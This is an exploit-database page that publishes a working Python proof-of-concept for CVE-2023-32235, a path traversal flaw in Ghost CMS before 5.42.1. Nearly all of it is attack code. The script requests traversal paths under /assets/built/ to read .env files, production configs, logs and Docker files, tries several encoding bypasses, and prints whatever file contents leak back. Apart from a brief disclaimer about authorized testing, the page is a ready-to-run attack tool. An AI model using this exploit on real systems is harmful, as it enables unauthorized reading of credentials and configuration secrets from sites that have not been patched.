Skip to main content

Ghost CMS 5.42.1 – Path Traversal

Categories: WebApps

Ghost CMS 5.42.1 – Path Traversal

Proof of Concept (PoC)

poc.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: Ghost CMS 5.42.1 - Path Traversal
# Date: 2023-06-15
# Exploit Author:ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://ghost.org
# Software Link: https://github.com/TryGhost/Ghost
# Version: < 5.42.1
# Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur
# CVE: CVE-2023-32235
# Category: Web Application Security
# CVSS Score: 7.5 (High)
# Description:
# Ghost CMS before version 5.42.1 contains a path traversal vulnerability that allows
# remote attackers to read arbitrary files within the active theme's folder structure.
# The vulnerability exists in the /assets/built/ endpoint which improperly handles
# directory traversal sequences (../../) allowing unauthorized file access.
# This can lead to disclosure of sensitive configuration files, environment variables,
# and other critical application data.

# Impact:
# - Unauthorized file disclosure
# - Potential exposure of configuration files
# - Information gathering for further attacks
# - Possible credential harvesting

# Requirements: requests>=2.28.1
"""

import requests
import sys
import urllib.parse
from typing import Dict, List, Tuple, Optional

class ExploitResult:
    def __init__(self):
        self.success = False
        self.payload = ""
        self.response = ""
        self.status_code = 0
        self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal"
        self.severity = "High"

class PathTraversalExploit:
    def __init__(self, target_url: str, verbose: bool = True):
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'Accept': '*/*',
            'Cache-Control': 'no-cache',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        
    def exploit(self) -> ExploitResult:
        result = ExploitResult()
        
        #  path traversal payloads targeting Ghost CMS specific files
        payloads = [
            {"path": "../../package.json", "description": "Main package.json with dependencies", "sensitive": True},
            {"path": "../../../package.json", "description": "Root package.json", "sensitive": True},
            {"path": "../../config.production.json", "description": "Production configuration", "sensitive": True},
            {"path": "../../config.development.json", "description": "Development configuration", "sensitive": True},
            {"path": "../../.env", "description": "Environment variables", "sensitive": True},
            {"path": "../../../.env", "description": "Root environment file", "sensitive": True},
            {"path": "../../content/settings/routes.yaml", "description": "Routes configuration", "sensitive": False},
            {"path": "../../content/logs/ghost.log", "description": "Ghost application logs", "sensitive": False},
            {"path": "../../README.md", "description": "Documentation file", "sensitive": False},
            {"path": "../../yarn.lock", "description": "Yarn lock file", "sensitive": False},
            {"path": "../../package-lock.json", "description": "NPM lock file", "sensitive": False},
            {"path": "../../../Dockerfile", "description": "Docker configuration", "sensitive": False},
            {"path": "../../../docker-compose.yml", "description": "Docker compose file", "sensitive": False}
        ]
        
        for payload in payloads:
            target_url = f"{self.target_url}/assets/built/{payload['path']}"
            
            if self.verbose:
                print(f"[*] Testing path traversal: {payload['path']}")
                
            try:
                response = self.session.get(target_url, timeout=10)
                
                if response.status_code == 200 and len(response.text) > 0:
                    if self._detect_file_read_success(response.text, payload['path']):
                        result.success = True
                        result.payload = payload['path']
                        result.response = response.text
                        result.status_code = response.status_code
                        
                        if payload['sensitive']:
                            result.severity = "Critical"
                            
                        if self.verbose:
                            print(f"[+] Successfully exploited path traversal: {payload['path']}")
                            print(f"[+] File content preview: {response.text[:200]}")
                        return result
                        
            except requests.RequestException as e:
                if self.verbose:
                    print(f"[-] Request failed for {payload['path']}: {e}")
                continue
                
        # If no direct file read, try alternative bypass techniques
        if not result.success:
            self._try_path_traversal_bypasses(result)
            
        return result
        
    def _try_path_traversal_bypasses(self, result: ExploitResult):
        """Try various bypass techniques for path traversal"""
        bypass_payloads = [
            "..%2f..%2fpackage.json",           # URL encoded
            "..%252f..%252fpackage.json",       # Double URL encoded
            "....//....//package.json",        # Double dot bypass
            "..\\..\\package.json",            # Windows style
            ".%2e/.%2e/package.json",           # Mixed encoding
            "..%c0%af..%c0%afpackage.json",     # UTF-8 overlong encoding
        ]
        
        for payload in bypass_payloads:
            target_url = f"{self.target_url}/assets/built/{payload}"
            
            try:
                response = self.session.get(target_url, timeout=10)
                
                if response.status_code == 200 and self._detect_file_read_success(response.text, payload):
                    result.success = True
                    result.payload = payload
                    result.response = response.text
                    result.status_code = response.status_code
                    
                    if self.verbose:
                        print(f"[+] Path traversal successful using encoding bypass: {payload}")
                    break
                    
            except requests.RequestException:
                continue
                
    def _detect_file_read_success(self, body: str, payload: str) -> bool:
        """Check if the response indicates successful file read"""
        # Check for common file content indicators
        file_indicators = {
            "package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'],
            ".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="],
            "config": ['"database"', '"server"', '"url"', '"mail"'],
            "routes.yaml": ["routes:", "collections:", "taxonomies:"],
            "ghost.log": ["INFO", "ERROR", "WARN", "Ghost"],
            "README": ["#", "##", "Ghost", "installation"],
            "Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"],
            "docker-compose": ["version:", "services:", "ghost:"]
        }
        
        # Check specific file type indicators
        for file_type, indicators in file_indicators.items():
            if file_type.lower() in payload.lower():
                for indicator in indicators:
                    if indicator in body:
                        return True
                        
        # Generic file content indicators
        generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"]
        
        count = sum(1 for indicator in generic_indicators if indicator in body)
        
        # If multiple generic indicators found, likely a valid file
        return count >= 3

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 CVE-2023-32235.py <target_url>")
        print("Example: python3 CVE-2023-32235.py http://target.com")
        return
        
    exploit = PathTraversalExploit(sys.argv[1], verbose=True)
    result = exploit.exploit()
    
    print("n=== CVE-2023-32235 Path Traversal Exploit Results ===")
    print(f"Target: {exploit.target_url}")
    print(f"Success: {result.success}")
    print(f"Severity: {result.severity}")
    print(f"Description: {result.description}")
    
    if result.success:
        print(f"Payload: {result.payload}")
        print(f"Status Code: {result.status_code}")
        print(f"Response Preview: {result.response[:500]}")
    else:
        print("Exploit failed - target may not be vulnerable")

if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...